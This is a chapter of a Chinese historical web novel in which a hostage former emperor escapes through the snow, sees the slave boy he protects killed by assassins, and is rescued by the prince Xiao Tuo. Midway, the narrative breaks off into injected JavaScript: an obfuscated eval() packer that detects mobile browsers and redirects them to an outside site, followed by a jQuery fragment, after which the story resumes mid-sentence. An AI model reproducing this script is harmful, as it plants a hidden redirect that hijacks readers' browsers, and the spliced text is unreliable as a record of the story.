方才听了奴隶的话,沈行约只觉得这里面的事情绝没那么简单。
不论是车牧也好、胡戎王也罢,如果这些人只是想要他性命,大可不必这么麻烦,偏要等他出逃以后再动手。
更何况,他作为燕朝廷的人质,以废帝的身份囚禁在胡戎,如果有朝一日,真到了生死一线的时刻,那么极大的可能,便是燕国那边有了什么动作。
不论怎么说,原定的汇合地点是不能再赶回了。
那样非但逃不了,还会把他们全都害死。
到了这种时候,决不能回头,回头只有死路一条。
是死是活,只能放手一搏。
沈行约迅速判断了方位,很快拟定了一个最冒险也是胜算最大的法子,直接冲过益善粮仓的关卡,南下直渡浑河,先逃到荥坝再说。
眼下情况,对他最不利的并不是身后追兵,而是追兵闹起来后,消息扩散,设在边境等地的胡戎据点一旦有所动作,便可里应外合对他进行堵截。
是以,趁着情况还没发展到那种地步,沈行约所能做的,就是分秒必争,赶在这之前先逃到边地。
身后追兵紧追猛赶,阵阵马蹄声奔涌而来,对准了前方夜幕下,一道孤伶的黑影,乱箭齐发。
自打穿越到这个朝代,沈行约对类似的场面早已司空见惯,随马颠簸时,倒没觉出有多紧张,可过了稍许,额前还是渗出一层薄汗。
因为他发现,自己盗出的这匹马四蹄虚浮,不论是速度还是耐力,都表现得相当不尽人意。
身后马蹄渐渐迫近,沈行约只能不断抽马快跑。
箭矢擦着他的袖袍凌乱飞过,一支羽箭射中马腿,马儿失去重心,嘶鸣一声,向前折倒。
在那一瞬间,沈行约扑身侧滚,顺着马背翻下,他拔出长剑,迅速爬起,与围追而来的十余名死士厮杀起来。
沈行约不会使剑,之前和萧拓学了两招用作保命,然而真正交起手来,没多久就处于下风。
他抽剑格挡劈面而来的长刀,感受到赛布抱紧了自己的腰,瘦小嶙峋的身子像只刚出窝的野狗,缩在他怀里,不住地抖动着。
在这一刻,沈行约忽地有点后悔。
早知道自己要死在这,就不该将他带出来。
“等……等一下!”
稍有喘息之机,沈行约拼尽最后一丝力气,将压在身前的刀刃格开。
他撑着剑,痛喘着,用蛮语请求道:“听我说!让我说句话!”
死士短暂地停顿下来,沈行约迅速道:
“我的命给你们!还有钱!我可以告诉你们藏钱的位置!不再抵抗,但是放他走——他只是个奴隶,还是个孩子……”
为首的死士一怔,似是很诧异他竟会说蛮语,思量了一下,死士傲慢地挥了下手,目光嘲谑地看着两人。
沈行约松了口气,一把将人从怀中推出,他朝赛布连连点头,目光催促他快跑。
赛布一下子失去庇护,本能的恐惧让他一点点地撤退回来,面带哭腔地回望,沈行约当即呵道:
“走——!跑啊!!”
赛布倒退着走出两步,那双漆黑闪着一点光亮的眸子动了动,隐匿着的丝丝泪光随风消逝。
他定定地站了片刻,像在积蓄勇气,在心底下了什么决心一样,终于转身,在满是雪的荒原中快跑起来。
沈行约从他的背影处收回目光,像了却了一桩心事,一膝落下,支着剑撑在地上。
这时,那为首的死士忽地朝他大笑起来。
沈行约抬起头,一瞬的莫名过后,他后知后觉地明白了什么,当即瞪大了双眼。
只见夜色中,一骑突然冲过,以极快的速度朝赛布追去。
“不……不!”
沈行约已经预料到了什么,双目震颤,起身跑去想要阻拦,几名死士立马冲上前,将他挟持住。
战马狂奔,很快来到赛布身后,随着一声长嘶,那个小小的人影扑倒下去。
“不要——不!”沈行约怒吼一声,几乎要爆冲出去,然而在下一刻,又卸下了全部的力道。
他看见不远处的那个模糊小点,被马蹄踏中背脊,又一蹄碾碎了头骨。
一股剧烈的疼痛直冲颅内,沈行约额上青筋猛地一跳,顿觉脑中一阵刺痛。
他的脸色像纸一样惨白,如同一具行尸走肉,被带到为首那死士面前。
那人要他交代藏钱的位置,沈行约冰冷地垂下眼睑:
“好啊,我告诉你……”
他的声音逐渐低下去,为首死士有些迟疑,却还是一脸防备,凑近少许。沈行约被架起双手,身体前倾,当那人凑过来时,他突然猛地张口,撕咬住那人耳侧,咬下满嘴鲜血。
趁左右死士愣怔的空档,沈行约得以挣脱,袖中匕首猛地扎出,刺中那人脖颈。
为首死士捂住汩汩冒血的脖子,栽倒着连退数步:
“杀……杀了他!给我杀!”
沈行约面色凛然,因为下了必死的决心,这一刻显得格外沉着和镇定。
他握紧了那把玉石匕首,却忽听后方一阵蹄音传来。
又一队人马朝着他们的方向冲杀过来,飞箭射中沈行约身侧的一名死士。
趁这时,他夺下一匹马,抓过缰绳,正要跃上马背,身后飞刀砍来,沈行约闪身去避,却被受惊的马儿拖跑。
他的手腕被缰绳缠住,整个人以一个倒仰的姿势,被半挂在马上。
眼前追兵迫近,沈行约运足全力,抽剑回砍,斩断缰绳。
一骨碌爬起时,一骑刚好冲到他身侧,墨色的骏马飞步踏过,马背上的人影蓦地折身,向他靠近,修长的手臂张开,将他提腰抱起,抱到了马背上。
听着身后剧烈的心跳声,沈行约一时思绪万千,同时脑袋一抽一抽,又开始隐隐作痛起来。
来不及深想其他,便听萧拓气息不稳地开口,道:
“我父王和中原使者做了交易。”
***
另一边,乌遂带领众人一路跑至一片矮林处,按照预先的计划,他们点燃了几处灌木,制造混乱,用以混淆视听。
做完这些后,奴隶们绕过雪坡,准
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093324|161534||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
备前往事先约定的地点,然而就在这条路上,他们并没能等来预想的接应,而是等来了益善大营派出的甲士的追捕。
沉重的甲靴重重逼近,甲士们迅速上前,将奴隶全都围了起来。
乌遂深深皱眉,望向不远处闪烁着的零星火光。他将阿来护在身后,认命般低下了头。
“为什么……?”
阿来抓着他的手不住收紧,那双略显稚嫩的清澈眼眸中,闪动着的希冀暗淡下去。
“他骗了我们……”
***
萧拓方才的话与他的猜测一致,沈行约提剑的手不由得攥紧几分,问道:“中原使者为何而来?”
“总不会是……来取我性命,回去交差吧?”
这话问出来,就连沈行约自己也不能相信。
如果真如他所说,那么今夜他根本不会有逃出的机会,那一队突然杀出的死士,更完全是多此一举。
“不是,”萧拓将马催得飞快,低声道:“不知怎么,中原那个皇帝突然改变主意,打算派人接你回朝,今夜要杀你的人是我大哥派来的,你……”
一顿,萧拓本想问他伤到哪没有,但方才抱他上马时,已在沈行约身上摸了个大概,没发现有什么刀伤,萧拓放下心来,夜色中,前方亮起点点火把,益善粮仓的哨卡已在眼前。
“你大哥想趁乱杀了我,”短短一刻,沈行约已经厘清这其中的关窍,道:“与中原使者一道前来接应的随从若是死在益善,他便能将所有过错都推到你一人身上?”
萧拓在哨卡前放慢马速,低头示意他先别说话,此时,身后又有一骑追来,到身侧时沈行约探头去看,来人正是黑差。
两骑到得哨岗前,因没有王庭发令,守兵不敢擅自放行,萧拓给了个眼色,黑差独自上前,与几名守兵争执起来。
正当此时,萧拓勒马后退几步,突然加速,直接纵马冲了过去。
在这之前,沈行约原本还想问问他是怎么想的,但此刻萧拓以行动回复了他。
马儿带着两人疾驰良久,掠过茫茫雪原,来到浑河岸边。
冬日严寒,加上前几日的暴雪,浑河已然结冻,河面冰封,在夜空下呈现出空旷、辽阔的荒凉景色。
河道两岸,杂乱枯草被埋没在雪沙,马蹄陷入,发出粗粝的声响。
凛凛寒风吹打在两人身上,萧拓放慢马速,一手松开,先是将衣襟前绑着的彩花扯掉。
沈行约正想说点什么,忽然被他从背后狠狠地抱了一下。
他还在错愕之际,萧拓已将缰绳送到他手里。
萧拓下马时抬手在他肩侧握了一下,身后黑差追来,萧拓立在浑河岸边,朝他道:“走吧。”
沈行约控马绕了半圈,回身看向萧拓。
“带上他走!”
萧拓道:“骑我的马!到荥坝找个地方,先安置下来,等这一阵过去,我来接你。”
他说完,目光在一旁的黑差身上停留片刻,决断道:
“从现在起,他就是你的新主,你当以命效忠,不得因族别生出异心。”